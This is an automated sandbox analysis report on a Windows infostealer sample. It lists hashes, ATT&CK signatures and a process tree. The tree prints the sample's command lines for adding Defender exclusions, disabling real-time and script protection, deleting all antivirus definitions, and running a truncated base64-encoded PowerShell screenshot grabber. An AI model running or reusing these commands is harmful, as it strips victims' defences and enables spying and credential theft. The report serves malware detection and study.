1327d795bc6899c5c3e6b048a5b0886dcd13172e05cdf53f873cb11b7f45bb5e

Analysis

max time kernel
150s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/10/2026, 22:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 11.2MB
Sample261029-2gt2taft6x
SHA256 1327d795bc6899c5c3e6b048a5b0886dcd13172e05cdf53f873cb11b7f45bb5e
MD5 9de25d46337a11d24701dcd5a360584e
SHA1 d4f849e42ace0ad5de4ec8ba9289416c05e7e8bd
SHA512 4b782601991780066fd04a4811d3abc64ff7f5bd0381cee20127f3f7fc9308f45801186994b953e4c51273a2c6c09ebc60a2f8ecf37e8f8708ff6472891fd4ff
SSDEEP 196608:0yRi2M7kOJwVqiqpCJk4dziYPSS3uaFmt97qHskASRrJZRjMFCzt/z1:7MlasY96guQmt8HsnSRVZpiuz1
TLSH
T192C633AA6BA650E2EDF6623CEA778407FAB0B5111F61DACF477403152E2B9E1053F314
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
3172	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1584	powershell.exe
5800	powershell.exe
3688	powershell.exe
5436	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5800	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2488	rar.exe

Loads dropped DLL 20 IoCs

pid	Process
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3120	tasklist.exe
4500	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c59f-69.dat	upx
behavioral2/memory/5192-73-0x00007FFEB9E20000-0x00007FFEBA526000-memory.dmp	upx
behavioral2/files/0x000d00000001c55c-75.dat	upx
behavioral2/files/0x000c00000001c59c-77.dat	upx
behavioral2/memory/5192-80-0x00007FFED0D30000-0x00007FFED0D3F000-memory.dmp	upx
behavioral2/memory/5192-78-0x00007FFECD340000-0x00007FFECD369000-memory.dmp	upx
behavioral2/files/0x000d00000001c55b-81.dat	upx
behavioral2/files/0x000d00000001c55f-83.dat	upx
behavioral2/memory/5192-84-0x00007FFECD900000-0x00007FFECD91A000-memory.dmp	upx
behavioral2/memory/5192-87-0x00007FFECC6F0000-0x00007FFECC71C000-memory.dmp	upx
behavioral2/files/0x000d00000001c571-86.dat	upx
behavioral2/memory/5192-89-0x00007FFECC670000-0x00007FFECC6F0000-memory.dmp	upx
behavioral2/files/0x000d00000001c561-90.dat	upx
behavioral2/memory/5192-92-0x00007FFECB870000-0x00007FFECB87D000-memory.dmp	upx
behavioral2/files/0x000d00000001c570-93.dat	upx
behavioral2/memory/5192-97-0x00007FFECB860000-0x00007FFECB86F000-memory.dmp	upx
behavioral2/files/0x000d00000001c55e-98.dat	upx
behavioral2/memory/5192-100-0x00007FFECAE10000-0x00007FFECAE24000-memory.dmp	upx
behavioral2/files/0x000c00000001c59b-101.dat	upx
behavioral2/memory/5192-103-0x00007FFEB98E0000-0x00007FFEB9E11000-memory.dmp	upx
behavioral2/files/0x000d00000001c562-104.dat	upx
behavioral2/files/0x000d00000001c564-106.dat	upx
behavioral2/files/0x000c00000001c59d-108.dat	upx
behavioral2/memory/5192-112-0x00007FFECD340000-0x00007FFECD369000-memory.dmp	upx
behavioral2/memory/5192-111-0x00007FFEC5690000-0x00007FFEC56C4000-memory.dmp	upx
behavioral2/memory/5192-110-0x00007FFEC6E30000-0x00007FFEC6E4A000-memory.dmp	upx
behavioral2/memory/5192-114-0x00007FFEC1AB0000-0x00007FFEC1B7E000-memory.dmp	upx
behavioral2/memory/5192-109-0x00007FFEB9E20000-0x00007FFEBA526000-memory.dmp	upx
behavioral2/files/0x000d00000001c563-120.dat	upx
behavioral2/files/0x000c00000001c5a8-122.dat	upx
behavioral2/memory/5192-123-0x00007FFEC5220000-0x00007FFEC5245000-memory.dmp	upx
behavioral2/memory/5192-125-0x00007FFEBD860000-0x00007FFEBD9EA000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a2-126.dat	upx
behavioral2/memory/5192-128-0x00007FFECB700000-0x00007FFECB70D000-memory.dmp	upx
behavioral2/files/0x000c00000001c5aa-129.dat	upx
behavioral2/memory/5192-131-0x00007FFECB860000-0x00007FFECB86F000-memory.dmp	upx
behavioral2/memory/5192-132-0x00007FFEBB820000-0x00007FFEBB8DE000-memory.dmp	upx
behavioral2/memory/5192-133-0x00007FFECAE10000-0x00007FFECAE24000-memory.dmp	upx
behavioral2/memory/5192-149-0x00007FFEB98E0000-0x00007FFEB9E11000-memory.dmp	upx
behavioral2/memory/5192-166-0x00007FFEC5690000-0x00007FFEC56C4000-memory.dmp	upx
behavioral2/memory/5192-172-0x00007FFEC1AB0000-0x00007FFEC1B7E000-memory.dmp	upx
behavioral2/memory/5192-210-0x00007FFECB700000-0x00007FFECB70D000-memory.dmp	upx
behavioral2/memory/5192-211-0x00007FFEBB820000-0x00007FFEBB8DE000-memory.dmp	upx
behavioral2/memory/5192-209-0x00007FFEBD860000-0x00007FFEBD9EA000-memory.dmp	upx
behavioral2/memory/5192-208-0x00007FFEC5220000-0x00007FFEC5245000-memory.dmp	upx
behavioral2/memory/5192-195-0x00007FFEB9E20000-0x00007FFEBA526000-memory.dmp	upx
behavioral2/memory/5192-196-0x00007FFECD340000-0x00007FFECD369000-memory.dmp	upx
behavioral2/memory/5192-235-0x00007FFECD340000-0x00007FFECD369000-memory.dmp	upx
behavioral2/memory/5192-238-0x00007FFECC6F0000-0x00007FFECC71C000-memory.dmp	upx
behavioral2/memory/5192-242-0x00007FFECAE10000-0x00007FFECAE24000-memory.dmp	upx
behavioral2/memory/5192-245-0x00007FFEC5690000-0x00007FFEC56C4000-memory.dmp	upx
behavioral2/memory/5192-247-0x00007FFEC5220000-0x00007FFEC5245000-memory.dmp	upx
behavioral2/memory/5192-250-0x00007FFEBB820000-0x00007FFEBB8DE000-memory.dmp	upx
behavioral2/memory/5192-249-0x00007FFECB700000-0x00007FFECB70D000-memory.dmp	upx
behavioral2/memory/5192-248-0x00007FFEBD860000-0x00007FFEBD9EA000-memory.dmp	upx
behavioral2/memory/5192-243-0x00007FFEB98E0000-0x00007FFEB9E11000-memory.dmp	upx
behavioral2/memory/5192-234-0x00007FFEB9E20000-0x00007FFEBA526000-memory.dmp	upx
behavioral2/memory/5192-244-0x00007FFEC6E30000-0x00007FFEC6E4A000-memory.dmp	upx
behavioral2/memory/5192-246-0x00007FFEC1AB0000-0x00007FFEC1B7E000-memory.dmp	upx
behavioral2/memory/5192-241-0x00007FFECB860000-0x00007FFECB86F000-memory.dmp	upx
behavioral2/memory/5192-240-0x00007FFECB870000-0x00007FFECB87D000-memory.dmp	upx
behavioral2/memory/5192-239-0x00007FFECC670000-0x00007FFECC6F0000-memory.dmp	upx
behavioral2/memory/5192-237-0x00007FFECD900000-0x00007FFECD91A000-memory.dmp	upx
behavioral2/memory/5192-236-0x00007FFED0D30000-0x00007FFED0D3F000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
5640	WMIC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
256	cmd.exe
2568	cmd.exe
908	cmd.exe
840	cmd.exe
1444	cmd.exe
5684	cmd.exe
2500	cmd.exe
6140	cmd.exe
236	cmd.exe
4912	cmd.exe
940	cmd.exe
5460	cmd.exe
4388	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3468	WMIC.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
5800	powershell.exe
5800	powershell.exe
1584	powershell.exe
1584	powershell.exe
5800	powershell.exe
4780	powershell.exe
4780	powershell.exe
1584	powershell.exe
4780	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
4660	powershell.exe
4660	powershell.exe
4660	powershell.exe
3956	WMIC.exe
3956	WMIC.exe
3956	WMIC.exe
3956	WMIC.exe
4552	WMIC.exe
4552	WMIC.exe
4552	WMIC.exe
4552	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
5436	powershell.exe
5436	powershell.exe
5436	powershell.exe
3468	WMIC.exe
3468	WMIC.exe
3468	WMIC.exe
3468	WMIC.exe
1368	powershell.exe
1368	powershell.exe
1368	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	3120	tasklist.exe
Token: SeDebugPrivilege	4500	tasklist.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeIncreaseQuotaPrivilege	1584	powershell.exe
Token: SeSecurityPrivilege	1584	powershell.exe
Token: SeTakeOwnershipPrivilege	1584	powershell.exe
Token: SeLoadDriverPrivilege	1584	powershell.exe
Token: SeSystemProfilePrivilege	1584	powershell.exe
Token: SeSystemtimePrivilege	1584	powershell.exe
Token: SeProfSingleProcessPrivilege	1584	powershell.exe
Token: SeIncBasePriorityPrivilege	1584	powershell.exe
Token: SeCreatePagefilePrivilege	1584	powershell.exe
Token: SeBackupPrivilege	1584	powershell.exe
Token: SeRestorePrivilege	1584	powershell.exe
Token: SeShutdownPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeSystemEnvironmentPrivilege	1584	powershell.exe
Token: SeRemoteShutdownPrivilege	1584	powershell.exe
Token: SeUndockPrivilege	1584	powershell.exe
Token: SeManageVolumePrivilege	1584	powershell.exe
Token: 33	1584	powershell.exe
Token: 34	1584	powershell.exe
Token: 35	1584	powershell.exe
Token: 36	1584	powershell.exe
Token: SeIncreaseQuotaPrivilege	5800	powershell.exe
Token: SeSecurityPrivilege	5800	powershell.exe
Token: SeTakeOwnershipPrivilege	5800	powershell.exe
Token: SeLoadDriverPrivilege	5800	powershell.exe
Token: SeSystemProfilePrivilege	5800	powershell.exe
Token: SeSystemtimePrivilege	5800	powershell.exe
Token: SeProfSingleProcessPrivilege	5800	powershell.exe
Token: SeIncBasePriorityPrivilege	5800	powershell.exe
Token: SeCreatePagefilePrivilege	5800	powershell.exe
Token: SeBackupPrivilege	5800	powershell.exe
Token: SeRestorePrivilege	5800	powershell.exe
Token: SeShutdownPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeSystemEnvironmentPrivilege	5800	powershell.exe
Token: SeRemoteShutdownPrivilege	5800	powershell.exe
Token: SeUndockPrivilege	5800	powershell.exe
Token: SeManageVolumePrivilege	5800	powershell.exe
Token: 33	5800	powershell.exe
Token: 34	5800	powershell.exe
Token: 35	5800	powershell.exe
Token: 36	5800	powershell.exe
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeIncreaseQuotaPrivilege	3956	WMIC.exe
Token: SeSecurityPrivilege	3956	WMIC.exe
Token: SeTakeOwnershipPrivilege	3956	WMIC.exe
Token: SeLoadDriverPrivilege	3956	WMIC.exe
Token: SeSystemProfilePrivilege	3956	WMIC.exe
Token: SeSystemtimePrivilege	3956	WMIC.exe
Token: SeProfSingleProcessPrivilege	3956	WMIC.exe
Token: SeIncBasePriorityPrivilege	3956	WMIC.exe
Token: SeCreatePagefilePrivilege	3956	WMIC.exe
Token: SeBackupPrivilege	3956	WMIC.exe
Token: SeRestorePrivilege	3956	WMIC.exe
Token: SeShutdownPrivilege	3956	WMIC.exe
Token: SeDebugPrivilege	3956	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3956	WMIC.exe
Token: SeRemoteShutdownPrivilege	3956	WMIC.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4792 wrote to memory of 5192	4792	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	89
PID 5192 wrote to memory of 256	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 5192 wrote to memory of 236	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	92
PID 256 wrote to memory of 1584	256	cmd.exe	95
PID 236 wrote to memory of 5800	236	cmd.exe	96
PID 5192 wrote to memory of 2568	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	97
PID 5192 wrote to memory of 908	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	98
PID 908 wrote to memory of 3120	908	cmd.exe	101
PID 5192 wrote to memory of 1556	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	102
PID 2568 wrote to memory of 4500	2568	cmd.exe	103
PID 1556 wrote to memory of 4780	1556	cmd.exe	105
PID 4780 wrote to memory of 2008	4780	powershell.exe	106
PID 2008 wrote to memory of 1088	2008	csc.exe	107
PID 236 wrote to memory of 3172	236	cmd.exe	109
PID 5192 wrote to memory of 4912	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	110
PID 4912 wrote to memory of 3688	4912	cmd.exe	112
PID 5192 wrote to memory of 940	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	113
PID 940 wrote to memory of 4660	940	cmd.exe	115
PID 5192 wrote to memory of 840	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	116
PID 840 wrote to memory of 2488	840	cmd.exe	118
PID 5192 wrote to memory of 1444	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	119
PID 1444 wrote to memory of 3956	1444	cmd.exe	121
PID 5192 wrote to memory of 5684	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	122
PID 5684 wrote to memory of 4552	5684	cmd.exe	124
PID 5192 wrote to memory of 2500	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	125
PID 2500 wrote to memory of 5640	2500	cmd.exe	127
PID 5192 wrote to memory of 5460	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	128
PID 5460 wrote to memory of 5436	5460	cmd.exe	130
PID 5192 wrote to memory of 4388	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	131
PID 4388 wrote to memory of 3468	4388	cmd.exe	133
PID 5192 wrote to memory of 6140	5192	2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	134
PID 6140 wrote to memory of 1368	6140	cmd.exe	136

C:\Users\Admin\AppData\Local\Temp\2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Users\Admin\AppData\Local\Temp\2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:5192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-10-28_9de25d46337a11d24701dcd5a360584e_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5800
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2568
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:908
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhA